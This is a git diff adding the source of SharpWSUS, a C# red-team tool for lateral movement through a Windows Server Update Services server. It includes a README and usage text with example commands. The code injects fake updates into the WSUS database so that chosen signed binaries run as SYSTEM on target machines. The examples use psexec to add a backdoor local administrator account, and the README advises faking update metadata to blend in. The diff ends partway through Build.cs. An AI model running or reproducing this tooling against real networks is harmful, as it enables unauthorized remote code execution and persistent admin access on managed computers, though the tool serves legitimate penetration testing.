diff --git a/bin/SharpWSUS.exe b/bin/SharpWSUS.exe new file mode 100644 index 000000000..f7bb63381 Binary files /dev/null and b/bin/SharpWSUS.exe differ diff --git a/repos/SharpWSUS/.gitignore b/repos/SharpWSUS/.gitignore new file mode 100644 index 000000000..b1c227559 --- /dev/null +++ b/repos/SharpWSUS/.gitignore @@ -0,0 +1,8 @@ +.vs +*.user +[Dd]ebug/ +[Rr]elease/ +[Bb]in/ +[Oo]bj/ +.DS_Store + diff --git a/repos/SharpWSUS/README.md b/repos/SharpWSUS/README.md new file mode 100644 index 000000000..d0dc42ea3 --- /dev/null +++ b/repos/SharpWSUS/README.md @@ -0,0 +1,65 @@ +# SharpWSUS + +SharpWSUS is a CSharp tool for lateral movement through WSUS. There is a corresponding blog (https://labs.nettitude.com/blog/introducing-sharpwsus/) which has more detailed information about the tooling, use case and detection. + +## Credits + +Massive credit to the below resources that really did 90% of this for me. This tool is just an enhancement of the below for C2 reliability and flexibility. + +* https://github.com/AlsidOfficial/WSUSpendu - powershell tool for abusing WSUS +* https://github.com/ThunderGunExpress/Thunder_Woosus - Csharp tool for abusing WSUS + +## Help Menu + +``` + ____ _ __ ______ _ _ ____ +/ ___|| |__ __ _ _ __ _ _\ \ / / ___|| | | / ___| +\___ \| '_ \ / _` | '__| '_ \ \ /\ / /\___ \| | | \___ \ + ___) | | | | (_| | | | |_) \ V V / ___) | |_| |___) | +|____/|_| |_|\__,_|_| | .__/ \_/\_/ |____/ \___/|____/ + |_| + Phil Keeble @ Nettitude Red Team + + +Commands listed below have optional parameters in <>. + +Locate the WSUS server: + SharpWSUS.exe locate + +Inspect the WSUS server, enumerating clients, servers and existing groups: + SharpWSUS.exe inspect + +Create an update (NOTE: The payload has to be a windows signed binary): + SharpWSUS.exe create /payload:[File location] /args:[Args for payload] + +Approve an update: + SharpWSUS.exe approve /updateid:[UpdateGUID] /computername:[Computer to target] + +Check status of an update: + SharpWSUS.exe check /updateid:[UpdateGUID] /computername:[Target FQDN] + +Delete update and clean up groups added: + SharpWSUS.exe delete /updateid:[UpdateGUID] /computername:[Target FQDN] +``` + +## Example Usage + +``` +sharpwsus locate + +sharpwsus inspect + +sharpwsus create /payload:"C:\Users\ben\Documents\pk\psexec.exe" /args:"-accepteula -s -d cmd.exe /c \\"net user phil Password123! /add && net localgroup administrators phil /add\\"" /title:"Great UpdateC21" /date:2021-10-03 /kb:500123 /rating:Important /description:"Really important update" /url:"https://google.com" + +sharpwsus approve /updateid:9e21a26a-1cbe-4145-934e-d8395acba567 /computername:win10-client10.blorebank.local /groupname:"Awesome Group C2" + +sharpwsus check /updateid:9e21a26a-1cbe-4145-934e-d8395acba567 /computername:win10-client10.blorebank.local + +sharpwsus delete /updateid:9e21a26a-1cbe-4145-934e-d8395acba567 /computername:win10-client10.blorebank.local /groupname:"Awesome Group C2" +``` + +## Notes + +* Binary has to be windows signed, so psexec, msiexec, msbuild etc could be useful for lateral movement. +* The metadata on the create command is not needed, but is useful for blending in to the environment. +* If testing in a lab the first is usually quick, then each subsequent update will take a couple hours (this is due to how windows evaluates whether an update is installed already or not) \ No newline at end of file diff --git a/repos/SharpWSUS/SharpWSUS.sln b/repos/SharpWSUS/SharpWSUS.sln new file mode 100644 index 000000000..ccf4af5e8 --- /dev/null +++ b/repos/SharpWSUS/SharpWSUS.sln @@ -0,0 +1,25 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.31410.357 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SharpWSUS", "SharpWSUS\SharpWSUS.csproj", "{42CABB74-1199-40F1-9354-6294BBA8D3A4}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {42CABB74-1199-40F1-9354-6294BBA8D3A4}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {42CABB74-1199-40F1-9354-6294BBA8D3A4}.Debug|Any CPU.Build.0 = Debug|Any CPU + {42CABB74-1199-40F1-9354-6294BBA8D3A4}.Release|Any CPU.ActiveCfg = Release|Any CPU + {42CABB74-1199-40F1-9354-6294BBA8D3A4}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {B90B58CF-CCFC-47BB-A4B4-E2F83FD868BA} + EndGlobalSection +EndGlobal diff --git a/repos/SharpWSUS/SharpWSUS/Args/ArgumentParser.cs b/repos/SharpWSUS/SharpWSUS/Args/ArgumentParser.cs new file mode 100644 index 000000000..3a5842c1b --- /dev/null +++ b/repos/SharpWSUS/SharpWSUS/Args/ArgumentParser.cs @@ -0,0 +1,43 @@ +using System.Collections.Generic; +using System.Diagnostics; + +namespace SharpWSUS.Args +{ + public static class ArgumentParser + { + public static ArgumentParserResult Parse(IEnumerable args) + { + var arguments = new Dictionary(); + try + { + foreach (var argument in args) + { + var idx = argument.IndexOf(':'); + if (idx > 0) + { + arguments[argument.Substring(0, idx)] = argument.Substring(idx + 1); + } + else + { + idx = argument.IndexOf('='); + if (idx > 0) + { + arguments[argument.Substring(0, idx)] = argument.Substring(idx + 1); + } + else + { + arguments[argument] = string.Empty; + } + } + } + + return ArgumentParserResult.Success(arguments); + } + catch (System.Exception ex) + { + Debug.WriteLine(ex.Message); + return ArgumentParserResult.Failure(); + } + } + } +} diff --git a/repos/SharpWSUS/SharpWSUS/Args/ArgumentParserResult.cs b/repos/SharpWSUS/SharpWSUS/Args/ArgumentParserResult.cs new file mode 100644 index 000000000..b9c806cc4 --- /dev/null +++ b/repos/SharpWSUS/SharpWSUS/Args/ArgumentParserResult.cs @@ -0,0 +1,23 @@ +using System.Collections.Generic; + +namespace SharpWSUS.Args +{ + public class ArgumentParserResult + { + public bool ParsedOk { get; } + public Dictionary Arguments { get; } + + private ArgumentParserResult(bool parsedOk, Dictionary arguments) + { + ParsedOk = parsedOk; + Arguments = arguments; + } + + public static ArgumentParserResult Success(Dictionary arguments) + => new ArgumentParserResult(true, arguments); + + public static ArgumentParserResult Failure() + => new ArgumentParserResult(false, null); + + } +} \ No newline at end of file diff --git a/repos/SharpWSUS/SharpWSUS/Args/CommandCollection.cs b/repos/SharpWSUS/SharpWSUS/Args/CommandCollection.cs new file mode 100644 index 000000000..a9791af88 --- /dev/null +++ b/repos/SharpWSUS/SharpWSUS/Args/CommandCollection.cs @@ -0,0 +1,49 @@ +using System; +using System.Collections.Generic; +using SharpWSUS.Commands; + +namespace SharpWSUS.Args +{ + public class CommandCollection + { + private readonly Dictionary> _availableCommands = new Dictionary>(); + + // How To Add A New Command: + // 1. Create your command class in the Commands Folder + // a. That class must have a CommandName static property that has the Command's name + // and must also Implement the ICommand interface + // b. Put the code that does the work into the Execute() method + // 2. Add an entry to the _availableCommands dictionary in the Constructor below. + + public CommandCollection() + { + _availableCommands.Add(Create.CommandName, () => new Create()); + _availableCommands.Add(Approve.CommandName, () => new Approve()); + _availableCommands.Add(Check.CommandName, () => new Check()); + _availableCommands.Add(Delete.CommandName, () => new Delete()); + _availableCommands.Add(Inspect.CommandName, () => new Inspect()); + _availableCommands.Add(Locate.CommandName, () => new Locate()); + + } + + public bool ExecuteCommand(string commandName, Dictionary arguments) + { + bool commandWasFound; + + if (string.IsNullOrEmpty(commandName) || _availableCommands.ContainsKey(commandName) == false) + commandWasFound= false; + else + { + // Create the command object + var command = _availableCommands[commandName].Invoke(); + + // and execute it with the arguments from the command line + command.Execute(arguments); + + commandWasFound = true; + } + + return commandWasFound; + } + } +} \ No newline at end of file diff --git a/repos/SharpWSUS/SharpWSUS/Args/Info.cs b/repos/SharpWSUS/SharpWSUS/Args/Info.cs new file mode 100644 index 000000000..2f187336b --- /dev/null +++ b/repos/SharpWSUS/SharpWSUS/Args/Info.cs @@ -0,0 +1,55 @@ +using System; + +namespace SharpWSUS.Args +{ + public static class Info + { + public static void ShowLogo() + { + string logo = @" + ____ _ __ ______ _ _ ____ +/ ___|| |__ __ _ _ __ _ _\ \ / / ___|| | | / ___| +\___ \| '_ \ / _` | '__| '_ \ \ /\ / /\___ \| | | \___ \ + ___) | | | | (_| | | | |_) \ V V / ___) | |_| |___) | +|____/|_| |_|\__,_|_| | .__/ \_/\_/ |____/ \___/|____/ + |_| + Phil Keeble @ Nettitude Red Team +"; + Console.WriteLine(logo); + } + + public static void ShowUsage() + { + string usage = @" +Commands listed below have optional parameters in <>. + +Locate the WSUS server: + SharpWSUS.exe locate + +Inspect the WSUS server, enumerating clients, servers and existing groups: + SharpWSUS.exe inspect + +Create an update (NOTE: The payload has to be a windows signed binary): + SharpWSUS.exe create /payload:[File location] /args:[Args for payload] + +Approve an update: + SharpWSUS.exe approve /updateid:[UpdateGUID] /computername:[Computer to target] + +Check status of an update: + SharpWSUS.exe check /updateid:[UpdateGUID] /computername:[Target FQDN] + +Delete update and clean up groups added: + SharpWSUS.exe delete /updateid:[UpdateGUID] /computername:[Target FQDN] + +##### Examples ###### +Executing whoami as SYSTEM on a remote machine: + SharpWSUS.exe inspect + SharpWSUS.exe create /payload:""C:\Users\Test\Documents\psexec.exe"" /args:""-accepteula -s -d cmd.exe /c """"whoami > C:\test.txt"""""" /title:""Great Update"" /date:2021-10-03 /kb:500123 /rating:Important /description:""Really important update"" /url:""https://google.com"" + SharpWSUS.exe approve /updateid:93646c49-7d21-4576-9922-9cbcce9f8553 /computername:test1 /groupname:""Great Group"" + SharpWSUS.exe check /updateid:93646c49-7d21-4576-9922-9cbcce9f8553 /computername:test1 + SharpWSUS.exe delete /updateid:93646c49-7d21-4576-9922-9cbcce9f8553 /computername:test1 /groupname:""Great Group"" +"; + Console.WriteLine(usage); + } + } +} diff --git a/repos/SharpWSUS/SharpWSUS/Commands/Approve.cs b/repos/SharpWSUS/SharpWSUS/Commands/Approve.cs new file mode 100644 index 000000000..2648f7b38 --- /dev/null +++ b/repos/SharpWSUS/SharpWSUS/Commands/Approve.cs @@ -0,0 +1,81 @@ +using System; +using System.Data.SqlClient; +using System.Collections.Generic; + +namespace SharpWSUS.Commands +{ + public class Approve : ICommand + { + + public static string CommandName => "approve"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("[*] Action: Approve Update"); + + string UpdateID = ""; + string ComputerName = ""; + string GroupName = "InjectGroup"; + string Approver = "WUS Server"; + Group.GroupExists = false; + + if (arguments.ContainsKey("/updateid")) + { + UpdateID = arguments["/updateid"]; + } + + if (arguments.ContainsKey("/computername")) + { + ComputerName = arguments["/computername"]; + } + + if (arguments.ContainsKey("/groupname")) + { + GroupName = arguments["/groupname"]; + } + + if (arguments.ContainsKey("/approver")) + { + Approver = arguments["/approver"]; + } + + Server.GetServerDetails(); + SqlCommand sqlComm = new SqlCommand(); + sqlComm.Connection = Connect.FsqlConnection(); + + ClGuid.GenerateTargetGroupGUID(); + + if (!Group.FbGetComputerTarget(sqlComm, ComputerName)) + { + return; + } + + if (!Group.FbGetGroupID(sqlComm, GroupName)) + { + return; + } + + Console.WriteLine("Group Exists = {0}", Group.GroupExists); + if (Group.GroupExists == false) + { + if (!Group.FbCreateGroup(sqlComm, GroupName)) + { + return; + } + } + + if (!Group.FbAddComputerToGroup(sqlComm, Server.sTargetComputerTargetID)) + { + return; + } + + if (!Status.FbApproveUpdate(sqlComm, UpdateID, Approver)) + { + return; + } + + Console.WriteLine("\r\n[*] Approve complete\r\n"); + return; + } + } +} diff --git a/repos/SharpWSUS/SharpWSUS/Commands/Check.cs b/repos/SharpWSUS/SharpWSUS/Commands/Check.cs new file mode 100644 index 000000000..406bf51c3 --- /dev/null +++ b/repos/SharpWSUS/SharpWSUS/Commands/Check.cs @@ -0,0 +1,46 @@ +using System; +using System.Data.SqlClient; +using System.Collections.Generic; + +namespace SharpWSUS.Commands +{ + public class Check : ICommand + { + + public static string CommandName => "check"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("[*] Action: Check Update"); + + string UpdateID = ""; + string ComputerName = ""; + + if (arguments.ContainsKey("/updateid")) + { + UpdateID = arguments["/updateid"]; + } + + if (arguments.ContainsKey("/computername")) + { + ComputerName = arguments["/computername"]; + } + + Server.GetServerDetails(); + SqlCommand sqlComm = new SqlCommand(); + sqlComm.Connection = Connect.FsqlConnection(); + + if (!Group.FbGetComputerTarget(sqlComm, ComputerName)) + { + return; + } + + if (!Status.FbGetUpdateStatus(sqlComm, UpdateID)) + { + return; + } + + Console.WriteLine("\r\n[*] Check complete\r\n"); + } + } +} \ No newline at end of file diff --git a/repos/SharpWSUS/SharpWSUS/Commands/Create.cs b/repos/SharpWSUS/SharpWSUS/Commands/Create.cs new file mode 100644 index 000000000..36f84f98b --- /dev/null +++ b/repos/SharpWSUS/SharpWSUS/Commands/Create.cs @@ -0,0 +1,128 @@ +using System; +using System.Data.SqlClient; +using System.Collections.Generic; + +namespace SharpWSUS.Commands +{ + public class Create : ICommand + { + + public static string CommandName => "create"; + public static int iRevisionID; + public static string PayloadPath = ""; + public static string PayloadArgs = ""; + public static string UpdateTitle = "SharpWSUS Update"; + public static string UpdateDate = "2021-09-26"; + public static string UpdateRating = "Important"; + public static string UpdateMSRC = ""; + public static string UpdateKB = "5006103"; + public static string UpdateDescription = "Install this update to resolve issues in Windows."; + public static string UpdateURL = @"https://www.nettitude.com"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("[*] Action: Create Update"); + + if (arguments.ContainsKey("/payload")) + { + PayloadPath = arguments["/payload"]; + } + + if (arguments.ContainsKey("/args")) + { + PayloadArgs = arguments["/args"]; + } + + if (arguments.ContainsKey("/title")) + { + UpdateTitle = arguments["/title"]; + } + + if (arguments.ContainsKey("/date")) + { + UpdateDate = arguments["/date"]; + } + + if (arguments.ContainsKey("/rating")) + { + UpdateRating = arguments["/rating"]; + } + + if (arguments.ContainsKey("/msrc")) + { + UpdateMSRC = arguments["/msrc"]; + } + + if (arguments.ContainsKey("/kb")) + { + UpdateKB = arguments["/kb"]; + } + + if (arguments.ContainsKey("/description")) + { + UpdateDescription = arguments["/description"]; + } + + if (arguments.ContainsKey("/url")) + { + UpdateURL = arguments["/url"]; + } + + Server.GetServerDetails(); + SqlCommand sqlComm = new SqlCommand(); + sqlComm.Connection = Connect.FsqlConnection(); + + ClGuid.GenerateUpdateGUID(); + ClGuid.GenerateBundleGUID(); + + ClFile clFileData = new ClFile(PayloadPath, PayloadArgs, Server.sLocalContentCacheLocation, true); + + Console.WriteLine("[*] Creating patch to use the following:"); + Console.WriteLine("[*] Payload: {0}",ClFile.sFileName); + Console.WriteLine("[*] Payload Path: {0}", ClFile.sFilePath); + Console.WriteLine("[*] Arguments: {0}", PayloadArgs); + Console.WriteLine("[*] Arguments (HTML Encoded): {0}", ClFile.sArgs); + + if (!Enum.FbGetWSUSConfigSQL(sqlComm)) + { + return; + } + if (!Build.FbImportUpdate(sqlComm)) + { + return; + } + if (!Build.FbPrepareXMLtoClient(sqlComm)) + { + return; + } + if (!Build.FbInjectUrl2Download(sqlComm)) + { + return; + } + if (!Build.FbDeploymentRevision(sqlComm)) + { + return; + } + if (!Build.FbPrepareBundle(sqlComm)) + { + return; + } + if (!Build.FbPrepareXmlBundleToClient(sqlComm)) + { + return; + } + if (!Build.FbDeploymentRevision(sqlComm)) + { + return; + } + + Console.WriteLine("\r\n[*] Update created - When ready to deploy use the following command:"); + Console.WriteLine("[*] SharpWSUS.exe approve /updateid:" + ClGuid.gBundle + " /computername:Target.FQDN /groupname:\"Group Name\""); + Console.WriteLine("\r\n[*] To check on the update status use the following command:"); + Console.WriteLine("[*] SharpWSUS.exe check /updateid:" + ClGuid.gBundle + " /computername:Target.FQDN"); + Console.WriteLine("\r\n[*] To delete the update use the following command:"); + Console.WriteLine("[*] SharpWSUS.exe delete /updateid:" + ClGuid.gBundle + " /computername:Target.FQDN /groupname:\"Group Name\""); + Console.WriteLine("\r\n[*] Create complete\r\n"); + } + } +} \ No newline at end of file diff --git a/repos/SharpWSUS/SharpWSUS/Commands/Delete.cs b/repos/SharpWSUS/SharpWSUS/Commands/Delete.cs new file mode 100644 index 000000000..9ec782506 --- /dev/null +++ b/repos/SharpWSUS/SharpWSUS/Commands/Delete.cs @@ -0,0 +1,81 @@ +using System; +using System.Data.SqlClient; +using System.Collections.Generic; + +namespace SharpWSUS.Commands +{ + public class Delete : ICommand + { + + public static string CommandName => "delete"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("[*] Action: Delete Update"); + + string UpdateID = ""; + string ComputerName = ""; + string GroupName = "InjectGroup"; + bool KeepGroup = false; + + if (arguments.ContainsKey("/updateid")) + { + UpdateID = arguments["/updateid"]; + } + + if (arguments.ContainsKey("/computername")) + { + ComputerName = arguments["/computername"]; + } + + if (arguments.ContainsKey("/groupname")) + { + GroupName = arguments["/groupname"]; + } + + if (arguments.ContainsKey("/keepgroup")) + { + KeepGroup = true; + } + + Server.GetServerDetails(); + SqlCommand sqlComm = new SqlCommand(); + sqlComm.Connection = Connect.FsqlConnection(); + + + if (!Status.FbDeleteUpdate(sqlComm, UpdateID)) + { + return; + } + + if (ComputerName != "") + { + if (!Group.FbGetComputerTarget(sqlComm, ComputerName)) + { + return; + } + + if (!Group.FbGetGroupID(sqlComm, GroupName)) + { + return; + } + + if (!Group.FbRemoveComputerFromGroup(sqlComm, Server.sTargetComputerTargetID)) + { + return; + } + + if (KeepGroup == false) + { + if (!Group.FbRemoveGroup(sqlComm)) + { + return; + } + } + } + + Console.WriteLine("\r\n[*] Delete complete\r\n"); + + } + } +} \ No newline at end of file diff --git a/repos/SharpWSUS/SharpWSUS/Commands/ICommand.cs b/repos/SharpWSUS/SharpWSUS/Commands/ICommand.cs new file mode 100644 index 000000000..afca6326a --- /dev/null +++ b/repos/SharpWSUS/SharpWSUS/Commands/ICommand.cs @@ -0,0 +1,9 @@ +using System.Collections.Generic; + +namespace SharpWSUS.Commands +{ + public interface ICommand + { + void Execute(Dictionary arguments); + } +} \ No newline at end of file diff --git a/repos/SharpWSUS/SharpWSUS/Commands/Inspect.cs b/repos/SharpWSUS/SharpWSUS/Commands/Inspect.cs new file mode 100644 index 000000000..55f1bcb24 --- /dev/null +++ b/repos/SharpWSUS/SharpWSUS/Commands/Inspect.cs @@ -0,0 +1,31 @@ +using System; +using System.Data.SqlClient; +using System.Collections.Generic; + +namespace SharpWSUS.Commands +{ + public class Inspect : ICommand + { + + public static string CommandName => "inspect"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("[*] Action: Inspect WSUS Server"); + + Server.GetServerDetails(); + SqlCommand sqlComm = new SqlCommand(); + sqlComm.Connection = Connect.FsqlConnection(); + + Enum.FbGetWSUSConfigSQL(sqlComm); + + Enum.FbEnumAllComputers(sqlComm); + + Enum.FbEnumDownStream(sqlComm); + + Enum.FbEnumGroups(sqlComm); + + Console.WriteLine("\r\n[*] Inspect complete\r\n"); + } + } +} \ No newline at end of file diff --git a/repos/SharpWSUS/SharpWSUS/Commands/Locate.cs b/repos/SharpWSUS/SharpWSUS/Commands/Locate.cs new file mode 100644 index 000000000..6de283539 --- /dev/null +++ b/repos/SharpWSUS/SharpWSUS/Commands/Locate.cs @@ -0,0 +1,21 @@ +using System; +using System.Data.SqlClient; +using System.Collections.Generic; + +namespace SharpWSUS.Commands +{ + public class Locate : ICommand + { + + public static string CommandName => "locate"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("[*] Action: Locate WSUS Server"); + + Enum.FbGetWSUSServer(); + + Console.WriteLine("\r\n[*] Locate complete\r\n"); + } + } +} \ No newline at end of file diff --git a/repos/SharpWSUS/SharpWSUS/Program.cs b/repos/SharpWSUS/SharpWSUS/Program.cs new file mode 100644 index 000000000..6bbf3694b --- /dev/null +++ b/repos/SharpWSUS/SharpWSUS/Program.cs @@ -0,0 +1,47 @@ +using System; +using System.Collections.Generic; +using SharpWSUS.Args; + +namespace SharpWSUS +{ + class Program + { + private static void MainExecute(string commandName, Dictionary parsedArgs) + { + // main execution logic + + Info.ShowLogo(); + + try + { + var commandFound = new CommandCollection().ExecuteCommand(commandName, parsedArgs); + + // show the usage if no commands were found for the command name + if (commandFound == false) + Info.ShowUsage(); + } + catch (Exception e) + { + Console.WriteLine("\r\n[!] Unhandled SharpWSUS exception:\r\n"); + Console.WriteLine(e); + } + } + + public static void Main(string[] args) + { + // try to parse the command line arguments, show usage on failure and then bail + var parsed = ArgumentParser.Parse(args); + if (parsed.ParsedOk == false) + { + Info.ShowLogo(); + Info.ShowUsage(); + return; + } + + var commandName = args.Length != 0 ? args[0] : ""; + + MainExecute(commandName, parsed.Arguments); + + } + } +} diff --git a/repos/SharpWSUS/SharpWSUS/Properties/AssemblyInfo.cs b/repos/SharpWSUS/SharpWSUS/Properties/AssemblyInfo.cs new file mode 100644 index 000000000..e8025809e --- /dev/null +++ b/repos/SharpWSUS/SharpWSUS/Properties/AssemblyInfo.cs @@ -0,0 +1,36 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// General Information about an assembly is controlled through the following +// set of attributes. Change these attribute values to modify the information +// associated with an assembly. +[assembly: AssemblyTitle("SharpWSUS")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("SharpWSUS")] +[assembly: AssemblyCopyright("Copyright © 2021")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +// Setting ComVisible to false makes the types in this assembly not visible +// to COM components. If you need to access a type in this assembly from +// COM, set the ComVisible attribute to true on that type. +[assembly: ComVisible(false)] + +// The following GUID is for the ID of the typelib if this project is exposed to COM +[assembly: Guid("42cabb74-1199-40f1-9354-6294bba8d3a4")] + +// Version information for an assembly consists of the following four values: +// +// Major Version +// Minor Version +// Build Number +// Revision +// +// You can specify all the values or you can default the Build and Revision Numbers +// by using the '*' as shown below: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.0.0.0")] +[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/repos/SharpWSUS/SharpWSUS/SharpWSUS.csproj b/repos/SharpWSUS/SharpWSUS/SharpWSUS.csproj new file mode 100644 index 000000000..19af69a68 --- /dev/null +++ b/repos/SharpWSUS/SharpWSUS/SharpWSUS.csproj @@ -0,0 +1,74 @@ + + + + + Debug + AnyCPU + {42CABB74-1199-40F1-9354-6294BBA8D3A4} + Exe + SharpWSUS + SharpWSUS + v4.0 + 512 + true + + + + AnyCPU + true + full + false + bin\Debug\ + DEBUG;TRACE + prompt + 4 + + + AnyCPU + pdbonly + true + bin\Release\ + TRACE + prompt + 4 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/repos/SharpWSUS/SharpWSUS/app.config b/repos/SharpWSUS/SharpWSUS/app.config new file mode 100644 index 000000000..fcd0c9373 --- /dev/null +++ b/repos/SharpWSUS/SharpWSUS/app.config @@ -0,0 +1,3 @@ + + + diff --git a/repos/SharpWSUS/SharpWSUS/lib/Build.cs b/repos/SharpWSUS/SharpWSUS/lib/Build.cs new file mode 100644 index 000000000..7e84f7488 --- /dev/null +++ b/repos/SharpWSUS/SharpWSUS/lib/Build.cs @@ -0,0 +1,245 @@ +using System; +using System.Text; +using System.Data.SqlClient; +using SharpWSUS.Commands; + +public class Build +{ + + public static bool FbImportUpdate(SqlCommand sqlCommFun) + { + System.Data.DataTable dtDataTbl = new System.Data.DataTable(); + SqlDataReader sqldrReader; + StringBuilder sbUpdate = new StringBuilder(); + + sbUpdate.AppendLine(@"declare @iImported int"); + sbUpdate.AppendLine(@"declare @iLocalRevisionID int"); + sbUpdate.AppendLine(@"exec spImportUpdate @UpdateXml=N'"); + sbUpdate.AppendLine(@""); + sbUpdate.AppendLine("\t" + @""); + sbUpdate.AppendLine("\t" + @""); + sbUpdate.AppendLine("\t\t" + @""); + sbUpdate.AppendLine("\t\t" + @""); + sbUpdate.AppendLine("\t" + @""); + sbUpdate.AppendLine("\t" + @""); + sbUpdate.AppendLine("\t\t" + @""); + sbUpdate.AppendLine("\t\t\t" + @"en"); + sbUpdate.AppendLine("\t\t\t" + @"Windows-Update"); + sbUpdate.AppendLine("\t\t" + @""); + sbUpdate.AppendLine("\t" + @""); + sbUpdate.AppendLine("\t" + @""); + sbUpdate.AppendLine("\t\t" + @""); + sbUpdate.AppendLine("\t\t" + @""); + sbUpdate.AppendLine("\t" + @""); + sbUpdate.AppendLine("\t" + @""); + sbUpdate.AppendLine("\t\t" + @""); + sbUpdate.AppendLine("\t\t\t" + @"" + ClFile.sSHA256 + @""); + sbUpdate.AppendLine("\t\t" + @""); + sbUpdate.AppendLine("\t" + @""); + sbUpdate.AppendLine("\t" + @""); + sbUpdate.AppendLine("\t\t" + @""); + sbUpdate.AppendLine("\t\t\t" + @""); + sbUpdate.AppendLine("\t\t" + @""); + sbUpdate.AppendLine("\t" + @""); + sbUpdate.AppendLine(@"',"); + sbUpdate.AppendLine(@"@UpstreamServerLocalID=1,@Imported=@iImported output,@localRevisionID=@iLocalRevisionID output,@UpdateXmlCompressed=NULL"); + sbUpdate.AppendLine(@"select @iImported,@iLocalRevisionID"); + sqlCommFun.CommandText = sbUpdate.ToString(); + + try + { + sqldrReader = sqlCommFun.ExecuteReader(); + dtDataTbl.Load(sqldrReader); + Create.iRevisionID = (int)dtDataTbl.Rows[0][1]; + + if (Create.iRevisionID == 0) + { + Console.WriteLine("Error importing update"); + sqldrReader.Close(); + return false; + } + + Console.WriteLine("ImportUpdate"); + Console.WriteLine("Update Revision ID: {0}", Create.iRevisionID); + + sqldrReader.Close(); + return true; + } + catch (Exception e) + { + Console.WriteLine("\r\nFunction error - FbImportUpdate."); + + Console.WriteLine($"Error Message: {e.Message}"); + return false; + } + } + public static bool FbPrepareXMLtoClient(SqlCommand sqlCommFun) + { + SqlDataReader sqldrReader; + StringBuilder sbXMLClient = new StringBuilder(); + sbXMLClient.AppendLine(@"exec spSaveXmlFragment '" + ClGuid.gUpdate + @"',202,1,N'<UpdateIdentity UpdateID=""" + ClGuid.gUpdate + @""" RevisionNumber=""202"" /><Properties UpdateType=""Software"" /><Relationships></Relationships><ApplicabilityRules><IsInstalled><False /></IsInstalled><IsInstallable><True /></IsInstallable></ApplicabilityRules>',NULL"); + sbXMLClient.AppendLine(@"exec spSaveXmlFragment '" + ClGuid.gUpdate + @"',202,4,N'<LocalizedProperties><Language>en</Language><Title>Windows-Update</Title></LocalizedProperties>',NULL,'en'"); + sbXMLClient.AppendLine(@"exec spSaveXmlFragment '" + ClGuid.gUpdate + @"',202,2,N'<ExtendedProperties DefaultPropertiesLanguage=""en"" Handler=""http://schemas.microsoft.com/msus/2002/12/UpdateHandlers/CommandLineInstallation"" MaxDownloadSize=""" + ClFile.lSize + @""" MinDownloadSize=""" + ClFile.lSize + @"""><InstallationBehavior RebootBehavior=""NeverReboots"" /></ExtendedProperties><Files><File Digest=""" + ClFile.sSHA1 + @""" DigestAlgorithm=""SHA1"" FileName=""" + ClFile.sFileName + @""" Size=""" + ClFile.lSize + @""" Modified=""" + Create.UpdateDate + @"T15:26:20.723""><AdditionalDigest Algorithm=""SHA256"">" + ClFile.sSHA256 + @"</AdditionalDigest></File></Files><HandlerSpecificData type=""cmd:CommandLineInstallation""><InstallCommand Arguments=""" + ClFile.sArgs + @""" Program=""" + ClFile.sFileName + @""" RebootByDefault=""false"" DefaultResult=""Succeeded""><ReturnCode Reboot=""false"" Result=""Succeeded"" Code=""-1"" /></InstallCommand></HandlerSpecificData>',NULL"); + sqlCommFun.CommandText = sbXMLClient.ToString(); + try + { + Console.WriteLine("PrepareXMLtoClient"); + sqldrReader = sqlCommFun.ExecuteReader(); + sqldrReader.Close(); + return true; + } + catch (Exception e) + { + Console.WriteLine("\r\nFunction error - FbPrepareXMLtoClient."); + + Console.WriteLine($"Error Message: {e.Message}"); + return false; + } + } + public static bool FbPrepareXmlBundleToClient(SqlCommand sqlCommFun) + { + SqlDataReader sqldrReader; + StringBuilder sbXMLBundle = new StringBuilder(); + sbXMLBundle.AppendLine(@"exec spSaveXmlFragment '" + ClGuid.gBundle + @"',204,1,N'<UpdateIdentity UpdateID=""" + ClGuid.gBundle + @""" RevisionNumber=""204"" /><Properties UpdateType=""Software"" ExplicitlyDeployable=""true"" AutoSelectOnWebSites=""true"" /><Relationships><Prerequisites><AtLeastOne IsCategory=""true""><UpdateIdentity UpdateID=""0fa1201d-4330-4fa8-8ae9-b877473b6441"" /></AtLeastOne></Prerequisites><BundledUpdates><UpdateIdentity UpdateID=""" + ClGuid.gUpdate + @""" RevisionNumber=""202"" /></BundledUpdates></Relationships>',NULL"); + sbXMLBundle.AppendLine(@"exec spSaveXmlFragment '" + ClGuid.gBundle + @"',204,4,N'<LocalizedProperties><Language>en</Language><Title>" + Create.UpdateTitle + @"</Title><Description>" + Create.UpdateDescription + @"</Description><UninstallNotes>This software update can be removed by selecting View installed updates in the Programs and Features Control Panel.</UninstallNotes><MoreInfoUrl>" + Create.UpdateURL + @"</MoreInfoUrl><SupportUrl>" + Create.UpdateURL + @"</SupportUrl></LocalizedProperties>', NULL, 'en'"); + sbXMLBundle.AppendLine(@"exec spSaveXmlFragment '" + ClGuid.gBundle + @"',204,2,N'<ExtendedProperties DefaultPropertiesLanguage=""en"" MsrcSeverity=""" + Create.UpdateRating + @""" IsBeta=""false""><SupportUrl>" + Create.UpdateURL + @"</SupportUrl><SecurityBulletinID>" + Create.UpdateMSRC + 